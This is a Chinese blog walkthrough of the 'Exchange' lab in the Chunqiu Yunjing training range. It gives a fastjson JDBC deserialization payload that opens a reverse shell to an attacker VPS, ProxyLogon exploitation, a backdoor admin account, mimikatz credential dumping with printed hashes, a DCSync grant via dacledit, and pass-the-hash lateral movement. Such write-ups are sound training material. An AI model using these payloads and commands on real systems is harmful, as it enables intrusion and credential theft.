内网渗透技战法-春秋云境Exchange靶场

Exchange

  • 华夏ERP信息泄露
  • fastjson 1.2.55+JDBC RCE
  • ProxyLogon
  • writeDacl写DCSync
  • 一个比较低能的压缩包解密

外网

信息泄露

/jshERP-boot/user/getAllList;.ico
http://39.99.153.27:8000/user/getAllList;.ico

拿到账号密码admin/123456

之后打JDBC

需要vps上起个恶意mysql -->https://github.com/fnmsd/MySQL_Fake_Server

python需小于3.11,且为java8

修改config.json

①base64中的ip和port需要改成自己vps的ip和port

②javaBinPath为vps上java的路径

{
    "config":{
        "ysoserialPath":"ysoserial-all.jar",
        "javaBinPath":"java",
        "fileOutputDir":"./fileOutput/",
        "displayFileContentOnScreen":true,
        "saveToFile":true
    },
    "fileread":{
        "win_ini":"c:\\windows\\win.ini",
        "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
        "win":"c:\\windows\\",
        "linux_passwd":"/etc/passwd",
        "linux_hosts":"/etc/hosts",
        "index_php":"index.php",
        "ssrf":"https://www.baidu.com/",
        "__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
    },
    "yso":{
        "Jdk7u21":["Jdk7u21","calc"],
        "CommonsCollections7":["CommonCollections7","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}"]
    }
}

运行python3 server.py

exp(url编码后发送)

{
	"name": {
		"@type": "java.lang.AutoCloseable",
		"@type": "com.mysql.jdbc.JDBC4Connection",
		"hostToConnectTo": "vps",
		"portToConnectTo": 3306,
		"info": {
			"user": "CommonsCollections7",
			"password": "pass",
			"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
			"autoDeserialize": "true",
			"NUM_HOSTS": "1"
		}
	}
}

/user/list?search=url编码后的exp,监听2333,成功弹到shell

或者使用evil-mysql-server和ysoserial构造恶意mysql服务打jdbc

./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-all.jar 

url 编码后发送反弹 shell 命令

{
	"name": {
		"@type": "java.lang.AutoCloseable",
		"@type": "com.mysql.jdbc.JDBC4Connection",
		"hostToConnectTo": "vpsIP地址",
		"portToConnectTo": 3306,
		"info": {
			"user": "yso_CommonsCollections6_bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}",
			"password": "pass",
			"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
			"autoDeserialize": "true",
			"NUM_HOSTS": "1"
		}
	}



{
	"name": {
		"@type": "java.lang.AutoCloseable",
		"@type": "com.mysql.jdbc.JDBC4Connection",
		"hostToConnectTo": "vps-ip",
		"portToConnectTo": 33306,
		"info": {
			"user": "yso_CommonsCollections6_bash -c {echo,YmFzaI....}|{base64,-d}|{bash,-i}",
			"password": "pass",
			"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
			"autoDeserialize": "true",
			"NUM_HOSTS": "1"
		}
	}

内网探测

扫内网得到:

[7.9s] [*] NetInfo 扫描结果
目标主机: 172.22.3.9
主机名: XIAORANG-EXC01
发现的网络接口:
   IPv4地址:
      └─ 172.22.3.9
[7.9s] [*] NetInfo 扫描结果
目标主机: 172.22.3.2
主机名: XIAORANG-WIN16
发现的网络接口:
   IPv4地址:
      └─ 172.22.3.2
[7.9s] [+] NetBios 172.22.3.2      DC:XIAORANG-WIN16.xiaorang.lab      Windows Server 2016 Datacenter 14393
[8.0s] [+] NetBios 172.22.3.26     XIAORANG\XIAORANG-PC        
[8.0s] [*] 网站标题 http://172.22.3.12        状态码:200 长度:19813  标题:lumia
[8.0s]     POC加载完成: 总共387个,成功387个,失败0个
[8.0s] [+] NetBios 172.22.3.9      XIAORANG-EXC01.xiaorang.lab         Windows Server 2016 Datacenter 14393
[8.1s] [*] NetInfo 扫描结果
目标主机: 172.22.3.26
主机名: XIAORANG-PC
发现的网络接口:
   IPv4地址:
      └─ 172.22.3.26
[8.1s]     系统信息 172.22.3.2 [Windows Server 2016 Datacenter 14393]
[8.1s] [*] 网站标题 http://172.22.3.12:8000   状态码:302 长度:0      标题:无标题 重定向地址: http://172.22.3.12:8000/login.html
[8.1s] [*] 网站标题 http://172.22.3.12:8000/login.html 状态码:200 长度:5662   标题:Lumia ERP
[8.2s] [*] 网站标题 http://172.22.3.9:81      状态码:403 长度:1157   标题:403 - 禁止访问: 访问被拒绝。
[9.1s] [*] 网站标题 http://172.22.3.9         状态码:403 长度:0      标题:无标题
[9.6s] [*] 网站标题 https://172.22.3.9        状态码:302 长度:0      标题:无标题 重定向地址: https://172.22.3.9/owa/
[10.1s] [*] 网站标题 https://172.22.3.9/owa/   状态码:200 长度:28237  标题:Outlook
[11.0s] [*] 网站标题 https://172.22.3.9:8172   状态码:404 长度:0      标题:无标题

整理一下

172.22.3.12     本机
172.22.3.9      XIAORANG-EXC01.xiaorang.lab
172.22.3.26     XIAORANG-PC.xiaorang.lab
172.22.3.2      XIAORANG-WIN16.xiaorang.lab 域控

172.22.3.9访问一下有Outlook是Exchange Server 2016

针对Exchange Server进行ProxyLogon 攻击

python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab

打完会弹一个system的Shell,我们添加用户并将用户添加到管理员组,密码不能太简单

net user mixian Mzc@123456 /add
net localgroup administrators mixian /add

开启rdp服务(如果未开启)

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
//放行端口(3389)
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

然后rdp上去拿flag

proxychains rdesktop -u m1xian -p 1234 172.22.3.9

windows的话,win+R输入mstsc,使用windows rdp的话可以拖动上传文件

image-20260418213944-khpgpdi

任务管理器查到其他用户Zhangtong

上传猕猴桃抓密码,注意要用管理员权限的cmd

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt


// "privilege::debug"
获取 Debug 权限,这是 Mimikatz 提取凭证所需的权限。

"sekurlsa::logonpasswords"
提取所有登录会话中的凭证,包括:
明文密码
NTLM 哈希
Kerberos 票据
登录用户名和域名

得到

Authentication Id : 0 ; 9932817 (00000000:00979011)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2023/10/3 16:59:45
SID               : S-1-5-90-0-3
	msv :
	 [00000003] Primary
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * NTLM     : 7aac8221895264f8eb5f64feca806053
	 * SHA1     : 1baa389164425a69f764c89fb49ee4009c0449fc
	tspkg :
	wdigest :
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :
	 * Username : XIAORANG-EXC01$
	 * Domain   : xiaorang.lab
Authentication Id : 0 ; 266425 (00000000:000410b9)
Session           : Service from 0
User Name         : Zhangtong
Domain            : XIAORANG
Logon Server      : XIAORANG-WIN16
Logon Time        : 2023/10/3 16:29:19
SID               : S-1-5-21-533686307-2117412543-4200729784-1147
	msv :
	 [00000003] Primary
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * NTLM     : 22c7f81993e96ac83ac2f3f1903de8b4
	 * SHA1     : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
	 * DPAPI    : ed14c3c4ef895b1d11b04fb4e56bb83b
	tspkg :
	wdigest :
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :
	 * Username : Zhangtong
	 * Domain   : xiaorang.lab
	 * Password : ZhangtT9Kq6IV2
	ssp :
	credman 

比较重要的就是EXC01机器账户的哈希4de6c4eeee1f315e1241c4a813e2b3b5和Zhangtong用户的哈希22c7f81993e96ac83ac2f3f1903de8b4。用bloodhound分析一下发现EXC01机器账户默认对域内成员具有writeDacl权限,这个权限允许身份修改指定对象ACL,所以可以给Zhangtong修改个DCSync,然后就可以抓域控哈希了。

proxychains -q bloodhound-python -d xiaorang.lab -u 'Zhangtong' --hashes 22c7f81993e96ac83ac2f3f1903de8b4:22c7f81993e96ac83ac2f3f1903de8b4 -dc XIAORANG-WIN16.xiaorang.lab -c all -ns 172.22.3.2 --zip --dns-tcp

image-20260418224001-3gxjo62

DACL是 Windows 系统中用于定义对象(如文件、目录、注册表项、进程等)访问权限的一种机制。

抓域控哈希就是利用DCSync权限伪装成域控制器,请求其他 DC 发送凭据数据。

有writeDacl权限->写DCSync或RBCD

这里给使用计算机账户 XIAORANG-EXC01$ 和其 NTLM 哈希值进行身份验证,从而进行 DACL 修改等操作。

proxychains python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :efdb464140106a58a6c06761bac0bcab -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2

image-20260419110413-garqz3m

抓一下哈希横向到域控

secretsdump.py远程提取域控凭证

proxychains python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm
//这里必须加上-just-dc-ntlm,因为通过DACL只给了ZhangTong域控的DCSync权限

image-20260419111346-y7lgp2j

之后就能横向移动

pth哈希传递一下登录域控,拿flag4

proxychains python3 wmiexec.py xiaorang.lab/Administrator@172.22.3.2 -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.2 -codec gbk
proxychains python3 psexec.py xiaorang.lab/Administrator@172.22.3.2 -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb

image-20260419112838-67ofjej

最后一个flag在邮件里,dump一下邮件内容(https://github.com/Jumbo-WJB/PTH_Exchange)

smb进172.22.3.26在C$下

proxychains impacket-smbclient -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.26 -dc-ip 172.22.3.2
use C$
cd /users/lumia/desktop
get secret.zip

利用lumia的hash将outlook中的邮件下载下来

proxychains python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download

看到一个压缩包,里面是flag但有密码,翻一下邮件内容,发现密码就是电话

image-20250311214501-ef8wr5z

导出电话保存格式为.dic

image-20260419115802-jhqx7na

或者john爆一下

zip2john secret.zip >zip.txt
john --wordlist=1.txt zip.txt

posted @ 2026-04-21 21:19  m1xian  阅读(25)  评论(0)    收藏  举报